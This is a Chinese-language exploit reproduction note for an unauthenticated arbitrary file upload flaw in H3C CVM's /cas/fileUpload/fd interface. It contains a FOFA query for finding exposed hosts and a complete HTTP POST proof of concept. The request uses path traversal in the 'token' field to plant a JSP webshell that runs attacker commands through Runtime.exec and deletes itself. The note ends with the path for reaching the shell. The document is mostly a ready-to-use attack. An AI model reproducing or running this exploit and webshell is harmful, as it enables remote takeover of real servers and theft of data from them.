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39 lines
1.3 KiB
Markdown
39 lines
1.3 KiB
Markdown
## H3C-CVM-fd接口前台任意文件上传漏洞复现
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H3C CVM /cas/fileUpload/fd 接口存在任意文件上传漏洞，未授权的攻击者可以上传任意文件，获取 webshell，控制服务器权限，读取敏感信息等。
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## fofa
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```javascript
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app="H3C-CVM"
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```
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## poc
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```javascript
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POST /cas/fileUpload/fd HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.123 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=WebKitFormBoundaryMMqEBbEFHlzOcYq4
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Connection: close
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--WebKitFormBoundaryMMqEBbEFHlzOcYq4
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Content-Disposition: form-data; name="token"
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/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp
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--WebKitFormBoundaryMMqEBbEFHlzOcYq4
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Content-Disposition: form-data; name="file"; filename="a.jsp"
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Content-Type: image/png
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<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
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--WebKitFormBoundaryMMqEBbEFHlzOcYq4--
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```
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访问文件路径
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```
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/cas/js/lib/buttons/a.jsp
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``` |